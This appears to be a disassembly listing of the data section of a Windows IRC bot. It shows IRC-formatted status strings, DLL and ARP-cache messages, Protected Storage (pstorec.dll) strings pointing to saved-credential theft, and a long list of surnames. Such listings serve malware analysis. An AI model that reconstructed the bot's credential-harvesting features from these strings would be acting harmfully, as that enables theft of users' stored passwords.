aIcmp_dllFailed	db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+160o
		align 4
aNetapi32_dllFa	db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+194o
		align 10h
aDnsapi_dllFail	db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1C8o
aIphlpapi_dllFa	db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+1FCo
		align 4
aMpr32_dllFaile	db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+230o
		align 4
aShell32_dllFai	db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+264o
		align 4
aOdbc32_dllFail	db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+298o
aAvicap32_dllFa	db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_4083A1+2CCo
		align 4
unk_43AFCC	db  2Dh	; -		; DATA XREF: sub_4083A1+2F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDllTestComplet	db 'DLL test complete.',0
		align 4
a___1:					; DATA XREF: .data:00408701o
					; .data:00408719o
		unicode	0, <..>
unk_43AFF0	db  2Dh	; -		; DATA XREF: sub_40879E+43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGettingAr	db 'error getting ARP cache: %d',0
unk_43B01C	db  2Dh	; -		; DATA XREF: sub_40879E:loc_4087F7o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheIsEmpt	db 'ARP cache is empty',0
		align 10h
unk_43B040	db  2Dh	; -		; DATA XREF: sub_40879E+8Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aErrorGetting_0	db 'error getting ARP cache: %d',0
unk_43B06C	db  2Dh	; -		; DATA XREF: sub_40879E:loc_408831o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aUnableToAlloca	db 'unable to allocate ARP cache',0
		align 4
unk_43B09C	db  2Dh	; -		; DATA XREF: sub_40879E:loc_408863o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aNotSupportedBy	db 'not supported by this system',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_408882+46o
aPstorec_dll	db 'pstorec.dll',0      ; DATA XREF: .data:004089A7o
aPstorecreatein	db 'PStoreCreateInstance',0 ; DATA XREF: .data:004089BCo
		align 4
asc_43B0FC	db '%x',0               ; DATA XREF: .data:00408A2Fo
		align 10h
aWs		db '%ws',0              ; DATA XREF: .data:00408AB0o
aS_23		db '%s',0               ; DATA XREF: .data:00408B35o
		align 4
a5e7e8100	db '5e7e8100',0         ; DATA XREF: .data:00408B6Bo
		align 2
asc_43B112	db ':',0                ; DATA XREF: .data:00408B8Fo
asc_43B114:				; DATA XREF: .data:00408BA6o
		unicode	0, <::>
aPstoreSSS	db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408C1Co
		align 4
aE161255a	db 'e161255a',0         ; DATA XREF: .data:00408C57o
		align 4
aStringindex	db 'StringIndex',0      ; DATA XREF: .data:00408C6Do
aString		db ':String',0          ; DATA XREF: .data:00408C88o
aString_0	db ':String',0          ; DATA XREF: .data:00408C9Fo
aHttp_0		db 'http:/',0           ; DATA XREF: .data:00408CCAo
		align 4
aHttps		db 'https:/',0          ; DATA XREF: .data:00408CE1o
asc_43B164:				; DATA XREF: .data:00408D0Ao
		unicode	0, <,,,>,0
aPstoreSSS_0	db '[pStore] %s %s:%s',0 ; DATA XREF: .data:00408D97o
		align 10h
dword_43B180	dd 6C616572h			dd 2 dup(0)
dword_43B18C	dd 0		off_43B190	dd offset sub_408F7D	; DATA XREF: sub_409361+4Ar
aConst		db 'const',0
		align 10h
		dd 1, 408FE9h, 7474656Ch, 7265h, 0
		dd 2, 409047h, 706D6F63h, 2 dup(0)
		dd 3, 409094h, 6E756F63h, 797274h, 0
		dd 4, 40913Ah, 736Fh, 2	dup(0)
		dd 5, 4091AFh
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: .data:off_43DC28o
		align 4
aAckerman	db 'Ackerman',0         ; DATA XREF: .data:0043DC2Co
		align 10h
aAdams		db 'Adams',0            ; DATA XREF: .data:0043DC30o
		align 4
aAddison	db 'Addison',0          ; DATA XREF: .data:0043DC34o
aAdelstein	db 'Adelstein',0        ; DATA XREF: .data:0043DC38o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: .data:0043DC3Co
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: .data:0043DC40o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: .data:0043DC44o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: .data:0043DC48o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: .data:0043DC4Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: .data:0043DC50o
		align 4
aAleks		db 'Aleks',0            ; DATA XREF: .data:0043DC54o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: .data:0043DC58o
aAlongi		db 'Alongi',0           ; DATA XREF: .data:0043DC5Co
		align 4
aAltavilla	db 'Altavilla',0        ; DATA XREF: .data:0043DC60o
		align 10h
aAltenberger	db 'Altenberger',0      ; DATA XREF: .data:0043DC64o
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: .data:0043DC68o
		align 4
aAmaral		db 'Amaral',0           ; DATA XREF: .data:0043DC6Co
		align 10h
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: .data:0043DC70o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: .data:0043DC74o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: .data:0043DC78o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: .data:0043DC7Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: .data:0043DC80o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: .data:0043DC84o
		align 4
aAndrelus	db 'Andrelus',0         ; DATA XREF: .data:0043DC88o
		align 10h
aAndron		db 'Andron',0           ; DATA XREF: .data:0043DC8Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: .data:0043DC90o
		align 4
aAnsley		db 'Ansley',0           ; DATA XREF: .data:0043DC94o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: .data:0043DC98o
aAntos		db 'Antos',0            ; DATA XREF: .data:0043DC9Co
		align 4
aArbia		db 'Arbia',0            ; DATA XREF: .data:0043DCA0o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: .data:0043DCA4o
aArellano	db 'Arellano',0         ; DATA XREF: .data:0043DCA8o
		align 4
aAristotle	db 'Aristotle',0        ; DATA XREF: .data:0043DCACo
		align 4
aArjas		db 'Arjas',0            ; DATA XREF: .data:0043DCB0o
		align 4
aArky		db 'Arky',0             ; DATA XREF: .data:0043DCB4o
		align 4
aAtkins		db 'Atkins',0           ; DATA XREF: .data:0043DCB8o
		align 4
aAugustus	db 'Augustus',0         ; DATA XREF: .data:0043DCBCo
		align 4
aAurelius	db 'Aurelius',0         ; DATA XREF: .data:0043DCC0o
		align 4
aAxelrod	db 'Axelrod',0          ; DATA XREF: .data:0043DCC4o
aAxworthy	db 'Axworthy',0         ; DATA XREF: .data:0043DCC8o
		align 4
aAyiemba	db 'Ayiemba',0          ; DATA XREF: .data:0043DCCCo
aAykroyd	db 'Aykroyd',0          ; DATA XREF: .data:0043DCD0o
aAyling		db 'Ayling',0           ; DATA XREF: .data:0043DCD4o
		align 10h
aAzima		db 'Azima',0            ; DATA XREF: .data:0043DCD8o
		align 4
aBachmuth	db 'Bachmuth',0         ; DATA XREF: .data:0043DCDCo
		align 4
aBackus		db 'Backus',0           ; DATA XREF: .data:0043DCE0o
		align 4
aBady		db 'Bady',0             ; DATA XREF: .data:0043DCE4o
		align 4
aBaglivo	db 'Baglivo',0          ; DATA XREF: .data:0043DCE8o
aBagnold	db 'Bagnold',0          ; DATA XREF: .data:0043DCECo
aBailar		db 'Bailar',0           ; DATA XREF: .data:0043DCF0o
		align 4
aBakanowsky	db 'Bakanowsky',0       ; DATA XREF: .data:0043DCF4o
		align 4
aBaleja		db 'Baleja',0           ; DATA XREF: .data:0043DCF8o
		align 10h
aBallatori	db 'Ballatori',0        ; DATA XREF: .data:0043DCFCo
		align 4
aBallew		db 'Ballew',0           ; DATA XREF: .data:0043DD00o
		align 4
aBaltz		db 'Baltz',0            ; DATA XREF: .data:0043DD04o
		align 4
aBanta		db 'Banta',0            ; DATA XREF: .data:0043DD08o
		align 4
aBarabesi	db 'Barabesi',0         ; DATA XREF: .data:0043DD0Co
		align 10h
aBarajas	db 'Barajas',0          ; DATA XREF: .data:0043DD10o
aBaranczak	db 'Baranczak',0        ; DATA XREF: .data:0043DD14o
		align 4
aBaranowska	db 'Baranowska',0       ; DATA XREF: .data:0043DD18o
		align 10h
aBarberi	db 'Barberi',0          ; DATA XREF: .data:0043DD1Co
aBarbetti	db 'Barbetti',0         ; DATA XREF: .data:0043DD20o
		align 4
aBarneson	db 'Barneson',0         ; DATA XREF: .data:0043DD24o
		align 10h
aBarnett	db 'Barnett',0          ; DATA XREF: .data:0043DD28o
aBarriola	db 'Barriola',0         ; DATA XREF: .data:0043DD2Co
		align 4
aBarry		db 'Barry',0            ; DATA XREF: .data:0043DD30o
		align 4
aBartholomew	db 'Bartholomew',0      ; DATA XREF: .data:0043DD34o
aBartolome	db 'Bartolome',0        ; DATA XREF: .data:0043DD38o
		align 4
aBartoo		db 'Bartoo',0           ; DATA XREF: .data:0043DD3Co
		align 4
aBasavappa	db 'Basavappa',0        ; DATA XREF: .data:0043DD40o
		align 4
aBashevis	db 'Bashevis',0         ; DATA XREF: .data:0043DD44o
		align 4
aBatchelder	db 'Batchelder',0       ; DATA XREF: .data:0043DD48o
		align 10h
aBaumiller	db 'Baumiller',0        ; DATA XREF: .data:0043DD4Co
		align 4
aBayles		db 'Bayles',0           ; DATA XREF: .data:0043DD50o
		align 4
aBayo		db 'Bayo',0             ; DATA XREF: .data:0043DD54o
		align 4
aBeacon		db 'Beacon',0           ; DATA XREF: .data:0043DD58o
		align 4
aBeal		db 'Beal',0             ; DATA XREF: .data:0043DD5Co
		align 4
aBean		db 'Bean',0             ; DATA XREF: .data:0043DD60o
		align 4
aBeckman	db 'Beckman',0          ; DATA XREF: .data:0043DD64o
aBeder		db 'Beder',0            ; DATA XREF: .data:0043DD68o
		align 4
aBedford	db 'Bedford',0          ; DATA XREF: .data:0043DD6Co
aBehenna	db 'Behenna',0          ; DATA XREF: .data:0043DD70o
aBelanger	db 'Belanger',0         ; DATA XREF: .data:0043DD74o
		align 10h
aBelaoussof	db 'Belaoussof',0       ; DATA XREF: .data:0043DD78o
		align 4
aBelfer		db 'Belfer',0           ; DATA XREF: .data:0043DD7Co
		align 4
aBelinCollart	db 'Belin-Collart',0    ; DATA XREF: .data:0043DD80o
		align 4
aBellavance	db 'Bellavance',0       ; DATA XREF: .data:0043DD84o
		align 10h
aBellhouse	db 'Bellhouse',0        ; DATA XREF: .data:0043DD88o
		align 4
aBellini	db 'Bellini',0          ; DATA XREF: .data:0043DD8Co
aBelloc		db 'Belloc',0           ; DATA XREF: .data:0043DD90o
		align 4
aBenedictDye	db 'Benedict-Dye',0     ; DATA XREF: .data:0043DD94o
		align 4
aBergson	db 'Bergson',0          ; DATA XREF: .data:0043DD98o
aBerkeJenkins	db 'Berke-Jenkins',0    ; DATA XREF: .data:0043DD9Co
		align 4
aBernardo	db 'Bernardo',0         ; DATA XREF: .data:0043DDA0o
		align 10h
aBernassola	db 'Bernassola',0       ; DATA XREF: .data:0043DDA4o
		align 4
aBernston	db 'Bernston',0         ; DATA XREF: .data:0043DDA8o
		align 4
aBerrizbeitia	db 'Berrizbeitia',0     ; DATA XREF: .data:0043DDACo
		align 4
aBetti		db 'Betti',0            ; DATA XREF: .data:0043DDB0o
		align 10h
aBeynart	db 'Beynart',0          ; DATA XREF: .data:0043DDB4o
aBiagioli	db 'Biagioli',0         ; DATA XREF: .data:0043DDB8o
		align 4
aBickel		db 'Bickel',0           ; DATA XREF: .data:0043DDBCo
		align 4
aBinion		db 'Binion',0           ; DATA XREF: .data:0043DDC0o
		align 4
aBir		db 'Bir',0              ; DATA XREF: .data:0043DDC4o
aBisema		db 'Bisema',0           ; DATA XREF: .data:0043DDC8o
		align 10h
aBisho		db 'Bisho',0            ; DATA XREF: .data:0043DDCCo
		align 4
aBlackbourn	db 'Blackbourn',0       ; DATA XREF: .data:0043DDD0o
		align 4
aBlackwell	db 'Blackwell',0        ; DATA XREF: .data:0043DDD4o
		align 10h
aBlagg		db 'Blagg',0            ; DATA XREF: .data:0043DDD8o
		align 4
aBlakemore	db 'Blakemore',0        ; DATA XREF: .data:0043DDDCo
		align 4
aBlanke		db 'Blanke',0           ; DATA XREF: .data:0043DDE0o
		align 4
aBliss		db 'Bliss',0            ; DATA XREF: .data:0043DDE4o
		align 4
aBlizard	db 'Blizard',0          ; DATA XREF: .data:0043DDE8o
aBloch		db 'Bloch',0            ; DATA XREF: .data:0043DDECo
		align 4
aBloembergen	db 'Bloembergen',0      ; DATA XREF: .data:0043DDF0o
aBloemhof	db 'Bloemhof',0         ; DATA XREF: .data:0043DDF4o
		align 4
aBloxham	db 'Bloxham',0          ; DATA XREF: .data:0043DDF8o
aBlyth		db 'Blyth',0            ; DATA XREF: .data:0043DDFCo
		align 4
aBolger		db 'Bolger',0           ; DATA XREF: .data:0043DE00o
		align 4
aBolick		db 'Bolick',0           ; DATA XREF: .data:0043DE04o
		align 4
aBollinger	db 'Bollinger',0        ; DATA XREF: .data:0043DE08o
		align 4
aBologna	db 'Bologna',0          ; DATA XREF: .data:0043DE0Co
aBoner		db 'Boner',0            ; DATA XREF: .data:0043DE10o
		align 4
aBonham		db 'Bonham',0           ; DATA XREF: .data:0043DE14o
		align 10h
aBoniface	db 'Boniface',0         ; DATA XREF: .data:0043DE18o
		align 4
aBontempo	db 'Bontempo',0         ; DATA XREF: .data:0043DE1Co
		align 4
aBook		db 'Book',0             ; DATA XREF: .data:0043DE20o
		align 10h
aBookbinder	db 'Bookbinder',0       ; DATA XREF: .data:0043DE24o
		align 4
aBoone		db 'Boone',0            ; DATA XREF: .data:0043DE28o
		align 4
aBoorstin	db 'Boorstin',0         ; DATA XREF: .data:0043DE2Co
		align 10h
aBorack		db 'Borack',0           ; DATA XREF: .data:0043DE30o
		align 4
aBorden		db 'Borden',0           ; DATA XREF: .data:0043DE34o
		align 10h
aBossi		db 'Bossi',0            ; DATA XREF: .data:0043DE38o
		align 4
aBothman	db 'Bothman',0          ; DATA XREF: .data:0043DE3Co
aBotosh		db 'Botosh',0           ; DATA XREF: .data:0043DE40o
		align 4
aBoudin		db 'Boudin',0           ; DATA XREF: .data:0043DE44o
		align 10h
aBoudrot	db 'Boudrot',0          ; DATA XREF: .data:0043DE48o
aBourneuf	db 'Bourneuf',0         ; DATA XREF: .data:0043DE4Co
		align 4
aBowers		db 'Bowers',0           ; DATA XREF: .data:0043DE50o
		align 4
aBoxer		db 'Boxer',0            ; DATA XREF: .data:0043DE54o
		align 4
aBoyajian	db 'Boyajian',0         ; DATA XREF: .data:0043DE58o
		align 10h
aBoyes		db 'Boyes',0            ; DATA XREF: .data:0043DE5Co
		align 4
aBoyland	db 'Boyland',0          ; DATA XREF: .data:0043DE60o
aBoym		db 'Boym',0             ; DATA XREF: .data:0043DE64o
		align 4
aBoyne		db 'Boyne',0            ; DATA XREF: .data:0043DE68o
		align 10h
aBracalente	db 'Bracalente',0       ; DATA XREF: .data:0043DE6Co
		align 4
aBradac		db 'Bradac',0           ; DATA XREF: .data:0043DE70o
		align 4
aBradach	db 'Bradach',0          ; DATA XREF: .data:0043DE74o
aBrecht		db 'Brecht',0           ; DATA XREF: .data:0043DE78o
		align 4
aBreed		db 'Breed',0            ; DATA XREF: .data:0043DE7Co
		align 4
aBrenan		db 'Brenan',0           ; DATA XREF: .data:0043DE80o
		align 4
aBrennan	db 'Brennan',0          ; DATA XREF: .data:0043DE84o
aBrewer		db 'Brewer',0           ; DATA XREF: .data:0043DE88o
		align 4
aBrewer_0	db 'Brewer',0           ; DATA XREF: .data:0043DE8Co
		align 4
aBridgeman	db 'Bridgeman',0        ; DATA XREF: .data:0043DE90o
		align 4
aBridges	db 'Bridges',0          ; DATA XREF: .data:0043DE94o
aBrinton	db 'Brinton',0          ; DATA XREF: .data:0043DE98o
aBritz		db 'Britz',0            ; DATA XREF: .data:0043DE9Co
		align 10h
aBroca		db 'Broca',0            ; DATA XREF: .data:0043DEA0o
		align 4
aBrook		db 'Brook',0            ; DATA XREF: .data:0043DEA4o
		align 10h
aBrzycki	db 'Brzycki',0          ; DATA XREF: .data:0043DEA8o
aBuchan		db 'Buchan',0           ; DATA XREF: .data:0043DEACo
		align 10h
aBudding	db 'Budding',0          ; DATA XREF: .data:0043DEB0o
aBullard	db 'Bullard',0          ; DATA XREF: .data:0043DEB4o
aBunton		db 'Bunton',0           ; DATA XREF: .data:0043DEB8o
		align 4
aBurden		db 'Burden',0           ; DATA XREF: .data:0043DEBCo
		align 10h
aBurdzy		db 'Burdzy',0           ; DATA XREF: .data:0043DEC0o
		align 4
aBurke		db 'Burke',0            ; DATA XREF: .data:0043DEC4o
		align 10h
aBurridge	db 'Burridge',0         ; DATA XREF: .data:0043DEC8o
		align 4
aBusetta	db 'Busetta',0          ; DATA XREF: .data:0043DECCo
aByatt		db 'Byatt',0            ; DATA XREF: .data:0043DED0o
		align 4
aByerly		db 'Byerly',0           ; DATA XREF: .data:0043DED4o
		align 4
aByrd		db 'Byrd',0             ; DATA XREF: .data:0043DED8o
		align 4
aCage		db 'Cage',0             ; DATA XREF: .data:0043DEDCo
		align 4
aCalnan		db 'Calnan',0           ; DATA XREF: .data:0043DEE0o
		align 4
aCammelli	db 'Cammelli',0         ; DATA XREF: .data:0043DEE4o
		align 4
aCammilleri	db 'Cammilleri',0       ; DATA XREF: .data:0043DEE8o
		align 4
aCanley		db 'Canley',0           ; DATA XREF: .data:0043DEECo
		align 4
aCapanni	db 'Capanni',0          ; DATA XREF: .data:0043DEF0o
aCaperton	db 'Caperton',0         ; DATA XREF: .data:0043DEF4o
		align 10h
aCapocaccia	db 'Capocaccia',0       ; DATA XREF: .data:0043DEF8o
		align 4
aCapodilupo	db 'Capodilupo',0       ; DATA XREF: .data:0043DEFCo
		align 4
aCappuccio	db 'Cappuccio',0        ; DATA XREF: .data:0043DF00o
		align 4
aCapursi	db 'Capursi',0          ; DATA XREF: .data:0043DF04o
aCaratozzolo	db 'Caratozzolo',0      ; DATA XREF: .data:0043DF08o
aCarayannopoulo	db 'Carayannopoulos',0  ; DATA XREF: .data:0043DF0Co
aCarlin		db 'Carlin',0           ; DATA XREF: .data:0043DF10o
		align 10h
aCarlos		db 'Carlos',0           ; DATA XREF: .data:0043DF14o
		align 4
aCarlyle	db 'Carlyle',0          ; DATA XREF: .data:0043DF18o
aCarmichael	db 'Carmichael',0       ; DATA XREF: .data:0043DF1Co
		align 4
aCaroti		db 'Caroti',0           ; DATA XREF: .data:0043DF20o
		align 4
aCarper		db 'Carper',0           ; DATA XREF: .data:0043DF24o
		align 4
aCartmill	db 'Cartmill',0         ; DATA XREF: .data:0043DF28o
		align 4
aCascio		db 'Cascio',0           ; DATA XREF: .data:0043DF2Co
		align 10h
aCase		db 'Case',0             ; DATA XREF: .data:0043DF30o
		align 4
aCaspar		db 'Caspar',0           ; DATA XREF: .data:0043DF34o
		align 10h
aCastelda	db 'Castelda',0         ; DATA XREF: .data:0043DF38o
		align 4
aCavanagh	db 'Cavanagh',0         ; DATA XREF: .data:0043DF3Co
		align 4
aCavell		db 'Cavell',0           ; DATA XREF: .data:0043DF40o
		align 10h
aCeniceros	db 'Ceniceros',0        ; DATA XREF: .data:0043DF44o
		align 4
aCerioli	db 'Cerioli',0          ; DATA XREF: .data:0043DF48o
aChapman	db 'Chapman',0          ; DATA XREF: .data:0043DF4Co
aCharles	db 'Charles',0          ; DATA XREF: .data:0043DF50o
aCheang		db 'Cheang',0           ; DATA XREF: .data:0043DF54o
		align 4
aCherry		db 'Cherry',0           ; DATA XREF: .data:0043DF58o
		align 4
aChervinsky	db 'Chervinsky',0       ; DATA XREF: .data:0043DF5Co
		align 10h
aChiassino	db 'Chiassino',0        ; DATA XREF: .data:0043DF60o
		align 4
aChien		db 'Chien',0            ; DATA XREF: .data:0043DF64o
		align 4
aChildress	db 'Childress',0        ; DATA XREF: .data:0043DF68o
		align 10h
aChilds		db 'Childs',0           ; DATA XREF: .data:0043DF6Co
		align 4
aChinipardaz	db 'Chinipardaz',0      ; DATA XREF: .data:0043DF70o
aChinman	db 'Chinman',0          ; DATA XREF: .data:0043DF74o
aChristenson	db 'Christenson',0      ; DATA XREF: .data:0043DF78o
aChristian	db 'Christian',0        ; DATA XREF: .data:0043DF7Co
		align 4
aChristiano	db 'Christiano',0       ; DATA XREF: .data:0043DF80o
		align 10h
aChristie	db 'Christie',0         ; DATA XREF: .data:0043DF84o
		align 4
aChristopher	db 'Christopher',0      ; DATA XREF: .data:0043DF88o
aChu		db 'Chu',0              ; DATA XREF: .data:0043DF8Co
aChupasko	db 'Chupasko',0         ; DATA XREF: .data:0043DF90o
		align 4
aChurch		db 'Church',0           ; DATA XREF: .data:0043DF94o
		align 10h
aCiampaglia	db 'Ciampaglia',0       ; DATA XREF: .data:0043DF98o
		align 4
aCicero		db 'Cicero',0           ; DATA XREF: .data:0043DF9Co
		align 4
aCifarelli	db 'Cifarelli',0        ; DATA XREF: .data:0043DFA0o
		align 10h
aClaffey	db 'Claffey',0          ; DATA XREF: .data:0043DFA4o
aClancy		db 'Clancy',0           ; DATA XREF: .data:0043DFA8o
		align 10h
aClark		db 'Clark',0            ; DATA XREF: .data:0043DFACo
		align 4
aClement	db 'Clement',0          ; DATA XREF: .data:0043DFB0o
aClifton	db 'Clifton',0          ; DATA XREF: .data:0043DFB4o
aClow		db 'Clow',0             ; DATA XREF: .data:0043DFB8o
		align 10h
aCoblenz	db 'Coblenz',0          ; DATA XREF: .data:0043DFBCo
aCoito		db 'Coito',0            ; DATA XREF: .data:0043DFC0o
		align 10h
aColdren	db 'Coldren',0          ; DATA XREF: .data:0043DFC4o
aColella	db 'Colella',0          ; DATA XREF: .data:0043DFC8o
aCollard	db 'Collard',0          ; DATA XREF: .data:0043DFCCo
aCollis		db 'Collis',0           ; DATA XREF: .data:0043DFD0o
		align 10h
aCompton	db 'Compton',0          ; DATA XREF: .data:0043DFD4o
aCompton_0	db 'Compton',0          ; DATA XREF: .data:0043DFD8o
aComstock	db 'Comstock',0         ; DATA XREF: .data:0043DFDCo
		align 4
aConcino	db 'Concino',0          ; DATA XREF: .data:0043DFE0o
aCondodina	db 'Condodina',0        ; DATA XREF: .data:0043DFE4o
		align 10h
aConnors	db 'Connors',0          ; DATA XREF: .data:0043DFE8o
aCorey		db 'Corey',0            ; DATA XREF: .data:0043DFECo
		align 10h
aCornish	db 'Cornish',0          ; DATA XREF: .data:0043DFF0o
aCosmides	db 'Cosmides',0         ; DATA XREF: .data:0043DFF4o
		align 4
aCounter	db 'Counter',0          ; DATA XREF: .data:0043DFF8o
aCoutaux	db 'Coutaux',0          ; DATA XREF: .data:0043DFFCo
aCrawford	db 'Crawford',0         ; DATA XREF: .data:0043E000o
		align 10h
aCrocker	db 'Crocker',0          ; DATA XREF: .data:0043E004o
aCroshaw	db 'Croshaw',0          ; DATA XREF: .data:0043E008o
aCroxen		db 'Croxen',0           ; DATA XREF: .data:0043E00Co
		align 4
aCroxton	db 'Croxton',0          ; DATA XREF: .data:0043E010o
aCui		db 'Cui',0              ; DATA XREF: .data:0043E014o
aCurrier	db 'Currier',0          ; DATA XREF: .data:0043E018o
aCutler		db 'Cutler',0           ; DATA XREF: .data:0043E01Co
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: .data:0043E020o
		align 4
aCyders		db 'Cyders',0           ; DATA XREF: .data:0043E024o
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: .data:0043E028o
aDaldalian	db 'Daldalian',0        ; DATA XREF: .data:0043E02Co
		align 4
aDaly		db 'Daly',0             ; DATA XREF: .data:0043E030o
		align 10h
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: .data:0043E034o
aDanieli	db 'Danieli',0          ; DATA XREF: .data:0043E038o
aDante		db 'Dante',0            ; DATA XREF: .data:0043E03Co
		align 4
aDapice		db 'Dapice',0           ; DATA XREF: .data:0043E040o
		align 10h
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: .data:0043E044o
aDas		db 'Das',0              ; DATA XREF: .data:0043E048o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: .data:0043E04Co
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: .data:0043E050o
aDavid		db 'David',0            ; DATA XREF: .data:0043E054o
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: .data:0043E058o
aDegennaro	db 'DeGennaro',0        ; DATA XREF: .data:0043E05Co
		align 10h
aDelapena	db 'DeLaPena',0         ; DATA XREF: .data:0043E060o
		align 4
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: .data:0043E064o
		align 4
aDerousse	db 'deRousse',0         ; DATA XREF: .data:0043E068o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: .data:0043E06Co
aDees		db 'Dees',0             ; DATA XREF: .data:0043E070o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: .data:0043E074o
		align 10h
aDelattre	db 'Delattre',0         ; DATA XREF: .data:0043E078o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: .data:0043E07Co
		align 4
aDelger		db 'Delger',0           ; DATA XREF: .data:0043E080o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: .data:0043E084o
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: .data:0043E088o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: .data:0043E08Co
		align 4
aDemusz		db 'Demusz',0           ; DATA XREF: .data:0043E090o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: .data:0043E094o
aDenham		db 'Denham',0           ; DATA XREF: .data:0043E098o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: .data:0043E09Co
aDesombre	db 'Desombre',0         ; DATA XREF: .data:0043E0A0o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: .data:0043E0A4o
aDFini		db 'D',27h,'fini',0     ; DATA XREF: .data:0043E0A8o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: .data:0043E0ACo
		align 4
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: .data:0043E0B0o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: .data:0043E0B4o
aDifronzo	db 'Difronzo',0         ; DATA XREF: .data:0043E0B8o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: .data:0043E0BCo
		align 4
aDionysius	db 'Dionysius',0        ; DATA XREF: .data:0043E0C0o
		align 10h
aDirksen	db 'Dirksen',0          ; DATA XREF: .data:0043E0C4o
aDockery	db 'Dockery',0          ; DATA XREF: .data:0043E0C8o
aDoherty	db 'Doherty',0          ; DATA XREF: .data:0043E0CCo
aDonahue	db 'Donahue',0          ; DATA XREF: .data:0043E0D0o
aDonner		db 'Donner',0           ; DATA XREF: .data:0043E0D4o
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: .data:0043E0D8o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: .data:0043E0DCo
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: .data:0043E0E0o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: .data:0043E0E4o
		align 4
aDoty		db 'Doty',0             ; DATA XREF: .data:0043E0E8o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: .data:0043E0ECo
		align 4
aDowsland	db 'Dowsland',0         ; DATA XREF: .data:0043E0F0o
		align 4
aDrinker	db 'Drinker',0          ; DATA XREF: .data:0043E0F4o
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: .data:0043E0F8o
aDuffin		db 'Duffin',0           ; DATA XREF: .data:0043E0FCo
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: .data:0043E100o
aDussault	db 'Dussault',0         ; DATA XREF: .data:0043E104o
		align 10h
aDwyer		db 'Dwyer',0            ; DATA XREF: .data:0043E108o
		align 4
aEardley	db 'Eardley',0          ; DATA XREF: .data:0043E10Co
aEbeling	db 'Ebeling',0          ; DATA XREF: .data:0043E110o
aEckel		db 'Eckel',0            ; DATA XREF: .data:0043E114o
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: .data:0043E118o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: .data:0043E11Co
		align 10h
aEdward		db 'Edward',0           ; DATA XREF: .data:0043E120o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: .data:0043E124o
aEliasson	db 'Eliasson',0         ; DATA XREF: .data:0043E128o
		align 10h
aElmendorf	db 'Elmendorf',0        ; DATA XREF: .data:0043E12Co
		align 4
aElmerick	db 'Elmerick',0
		align 4
